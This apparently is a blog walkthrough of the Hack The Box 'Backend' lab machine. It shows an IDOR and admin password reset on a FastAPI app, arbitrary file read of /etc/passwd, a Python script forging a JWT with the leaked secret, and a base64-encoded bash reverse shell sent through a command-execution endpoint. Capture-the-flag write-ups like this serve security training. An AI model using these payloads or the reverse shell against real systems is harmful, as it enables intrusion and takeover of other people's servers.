Skip to main content

Backend Walkthrough(Hack The Box)

·1253 words·6 mins·
Medium Linux Hack the Box Hacking Walkthrough Web
Table of Contents

Reconnaissance & Enumeration
#

  • Nmap scan results:
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open  http    Uvicorn
|_http-title: Site doesn't have a title (application/json).
| http-methods: 
|_  Supported Methods: GET
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 17.734 days (since Sun Feb 16 04:30:26 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3306/tcp)
HOP RTT       ADDRESS
1   265.74 ms 10.10.14.1
2   265.82 ms 10.10.11.161
  • After hours of fuzzing I found multiple endpoints, where by simply playing with endpoints in burp we can reveal more.
  • But one in particular /docs asks for authentication cookie. We can also do directory fuzzing in recursive mode with any tool but I personally found the endpoints just by guessing them.
  • There is one signup endpoint which is api/v1/user/signup. Using this endpoint I can create an account.
  • After enumerating further on that endpoint I found all the data parameters of it. Now I can create an account using this
curl -v -X POST 'http://10.10.11.161/api/v1/user/signup' -H 'Content-Type: application/json' -d '{"email":"Emp5r0R@king.com", "password":"password"}'  | jq
  • signup
  • Eventually I found another endpoint which is /login. But initially it was showing error on sending the json data but it turns out this endpoint only accept HTML data. I curled the endpoint
curl -v 'http://10.10.11.161/api/v1/user/login'  -d 'username=Emp5r0R@king.com&password=password' | jq .
  • In return I got the JWT token

    token-gif

  • Curl Output:

    login-output

  • I used this extension to modify the header, I could’ve used burp interceptor but for some reason it didn’t worked for me as intended.

    Alt

  • I tried to access /docs endpoint with providing the token, After including it, I was redirected to FastAPI interface.

    FastAPI

  • Surpisingly,SecretFlagEndpoint straight out gave

    User flag

  • I didn’t expect this

    User_flag

  • After some enumeration I found this endpoint /api/v1/user/0 which on modifying the Id parameter spits out user information. This Id 1 gave me the admin details.

curl -X 'GET' \
  'http://10.10.11.161/api/v1/user/1' \
  -H 'accept: application/json' | jq

Admin_details

  • I can change password of any user If I had guid, As I already have the guid of user admin I can change admin account’s password by curling this endpoint /api/v1/user/updatepass with valid data.
curl -X 'POST' \
  'http://10.10.11.161/api/v1/user/updatepass' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
  "guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
  "password": "emperor"
}'

updatepass

  • Using the newly changed password I authorized myself with FastAPI

fastapi-auth

  • Now I can access admin endpoints as I am an admin now to FastAPI

    admin_endpoints

  • Here the endpoint file seems to be useful, actually I can read arbitary files using this endpoint. First let me try and access /etc/passwd

curl -X 'POST' \
  'http://10.10.11.161/api/v1/admin/file' \
  -H 'accept: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzQxOTM2OTU0LCJpYXQiOjE3NDEyNDU3NTQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.eL4UaJ5NCf-TEpWdq21t-kEbO-7YJTmmLLkooJussuE' \
  -H 'Content-Type: application/json' \
  -d '{
  "file": "/etc/passwd"
}' | jq
  • It was successfull

    gif
    passwd

  • However when I try to run commands using this endpoint /api/v1/admin/exec/<commands> I get this error. Hmm… what could it be 🤔

    error

  • From /etc/passwd I got to know that user htb has bash access.

    user-htb

Exploitation
#

  • To identify the web application running directory I can request to read this file path /proc/self/environ. From reading the file I identified the running directory of this web.
curl -X 'POST' \  
  'http://10.10.11.161/api/v1/admin/file' \
  -H 'accept: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzQxOTM2OTU0LCJpYXQiOjE3NDEyNDU3NTQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.eL4UaJ5NCf-TEpWdq21t-kEbO-7YJTmmLLkooJussuE' \
  -H 'Content-Type: application/json' \
  -d '{
  "file": "/proc/self/environ"
}' | jq -r '.file'

env-iden

  • The path should be this /home/htb/uhc/app/main.py
  • I requested for the source code using file endpoint and got it
import asyncio

from fastapi import FastAPI, APIRouter, Query, HTTPException, Request, Depends
from fastapi_contrib.common.responses import UJSONResponse
from fastapi import FastAPI, Depends, HTTPException, status
from fastapi.security import HTTPBasic, HTTPBasicCredentials
from fastapi.openapi.docs import get_swagger_ui_html
from fastapi.openapi.utils import get_openapi



from typing import Optional, Any
from pathlib import Path
from sqlalchemy.orm import Session



from app.schemas.user import User
from app.api.v1.api import api_router
from app.core.config import settings

from app import deps
from app import crud


app = FastAPI(title="UHC API Quals", openapi_url=None, docs_url=None, redoc_url=None)
root_router = APIRouter(default_response_class=UJSONResponse)


@app.get("/", status_code=200)
def root():
    """
    Root GET
    """
    return {"msg": "UHC API Version 1.0"}


@app.get("/api", status_code=200)
def list_versions():
    """
    Versions
    """
    return {"endpoints":["v1"]}


@app.get("/api/v1", status_code=200)
def list_endpoints_v1():
    """
    Version 1 Endpoints
    """
    return {"endpoints":["user", "admin"]}


@app.get("/docs")
async def get_documentation(
    current_user: User = Depends(deps.parse_token)
    ):
    return get_swagger_ui_html(openapi_url="/openapi.json", title="docs")

@app.get("/openapi.json")
async def openapi(
    current_user: User = Depends(deps.parse_token)
):
    return get_openapi(title = "FastAPI", version="0.1.0", routes=app.routes)

app.include_router(api_router, prefix=settings.API_V1_STR)
app.include_router(root_router)

def start():
    import uvicorn

    uvicorn.run(app, host="0.0.0.0", port=8001, log_level="debug")

if __name__ == "__main__":
    # Use this for debugging purposes only
    import uvicorn

    uvicorn.run(app, host="0.0.0.0", port=8001, log_level="debug")
  • This is just a basic code let’s analyze other files. From the import headers I can learn about other file locations.
from app.schemas.user import User
from app.api.v1.api import api_router
from app.core.config import settings
  • On requesting/app/core/config.py I got the jwt secret
from pydantic import AnyHttpUrl, BaseSettings, EmailStr, validator
from typing import List, Optional, Union

from enum import Enum


class Settings(BaseSettings):
    API_V1_STR: str = "/api/v1"
    JWT_SECRET: str = "SuperSecretSigningKey-Hack The Box"
    ALGORITHM: str = "HS256"

    # 60 minutes * 24 hours * 8 days = 8 days
    ACCESS_TOKEN_EXPIRE_MINUTES: int = 60 * 24 * 8

    # BACKEND_CORS_ORIGINS is a JSON-formatted list of origins
    # e.g: '["http://localhost", "http://localhost:4200", "http://localhost:3000", \
    # "http://localhost:8080", "http://local.dockertoolbox.tiangolo.com"]'
    BACKEND_CORS_ORIGINS: List[AnyHttpUrl] = []

    @validator("BACKEND_CORS_ORIGINS", pre=True)
    def assemble_cors_origins(cls, v: Union[str, List[str]]) -> Union[List[str], str]:
        if isinstance(v, str) and not v.startswith("["):
            return [i.strip() for i in v.split(",")]
        elif isinstance(v, (list, str)):
            return v
        raise ValueError(v)

    SQLALCHEMY_DATABASE_URI: Optional[str] = "sqlite:///uhc.db"
    FIRST_SUPERUSER: EmailStr = "root@ippsec.rocks"    

    class Config:
        case_sensitive = True
 

settings = Settings()
  • Forging JWT Token
    • Earlier while trying to access /execute/<Command> I got missing debug key error
    • I can forge a JWT with debug option included.
    • On working on this I got error because Of time skew between the target(JWT Token) and my system is too high. So I made this program to display the time stamp from the token

import jwt
import time
import datetime

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzQxOTM2OTU0LCJpYXQiOjE3NDEyNDU3NTQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.eL4UaJ5NCf-TEpWdq21t-kEbO-7YJTmmLLkooJussuE"

decoded_payload = jwt.decode(token, options={"verify_signature": False})
print(decoded_payload)
iat_timestamp = decoded_payload['iat']

current_time_timestamp = int(time.time())

print(f"iat timestamp: {iat_timestamp}")
print(f"current time timestamp: {current_time_timestamp}")

print(f"iat datetime: {datetime.datetime.fromtimestamp(iat_timestamp)}")
print(f"current datetime: {datetime.datetime.fromtimestamp(current_time_timestamp)}")
  • This was the output, As we can see the time skew is 3 hours(approx).
    Pasted image 20250306101600.png
  • So I made the code to adapt to the time and forged jwt token
import jwt
import datetime

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzQxOTM2OTU0LCJpYXQiOjE3NDEyNDU3NTQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.eL4UaJ5NCf-TEpWdq21t-kEbO-7YJTmmLLkooJussuE"
secret = "SuperSecretSigningKey-Hack The Box"

leeway = datetime.timedelta(hours=3)
decoder = jwt.decode(token, secret, ["HS256"], leeway=leeway)
print(decoder)

decoder["debug"] = True # Adding debug option.

encoded_token = jwt.encode(decoder, secret, algorithm="HS256") #encode the dictionary.
print(f"Encoded token: {encoded_token}")
  • Got the token

    Pasted image 20250306101747.png

  • Using the token, I executed some commands via /api/admin/exec/<command> and It worked

curl -v -X 'GET' \
  'http://10.10.11.161/api/v1/admin/exec/pwd' \     
  -H 'accept: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzQxOTM2OTU0LCJpYXQiOjE3NDEyNDU3NTQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQiLCJkZWJ1ZyI6dHJ1ZX0.yWQeRZjjOrROK-XosRoR8lMf52e3YxNtX4bhj3haUBw'

Pasted image 20250306101847.png

  • Getting reverse shell

    Encoded bash reverse shell payload into base64.

echo 'bash -c "exec bash -i &>/dev/tcp/10.10.14.10/6001 <&1"' | base64

Pasted image 20250306102426.png

  • Then created this payload, here %20 represents white space in URL encoded form.
  • The raw command here is echo <Base64-encoded-payload> | base64 -d | bash
  • Final payload for reverse shell:
curl -s  \                                                                  
  'http://10.10.11.161/api/v1/admin/exec/echo%20YmFzaCAtYyAiZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMTAuMTQuMTAvNjAwMSA8JjEiCg==%20|%20base64%20-d%20|%20bash' \
  -H 'accept: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzQxOTM2OTU0LCJpYXQiOjE3NDEyNDU3NTQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQiLCJkZWJ1ZyI6dHJ1ZX0.yWQeRZjjOrROK-XosRoR8lMf52e3YxNtX4bhj3haUBw'
  • Opened a netcat listener on my system (nc -lnvp 6001) and got the shell connection, then I upgraded the shell
    shell

Privilege Escalation
#

  • Found a file called uhc.db
    Pasted image 20250306103655.png
  • It had password hash for my accounts and for other but nothing useful
  • There was another interesting file named auth.log. Which had admin logon logs, Also it had a string which seemed out of place.
    Pasted image 20250306104006.png
  • Actually that was the password for root user.
    surpise
  • Got the
    Root flag
    Pasted image 20250306104131.png

goodBye

Related

Perfection Walkthrough(Hack The Box)
·722 words·4 mins
Easy Linux Hack the Box Hacking Walkthrough Web
Caption Walkthrough(Hack The Box)
·1224 words·6 mins
Hard Linux Hack the Box Hacking Walkthrough Web
Instant Walkthrough(Hack The Box)
·499 words·3 mins
Medium Linux Hack the Box Hacking Web Android Walkthrough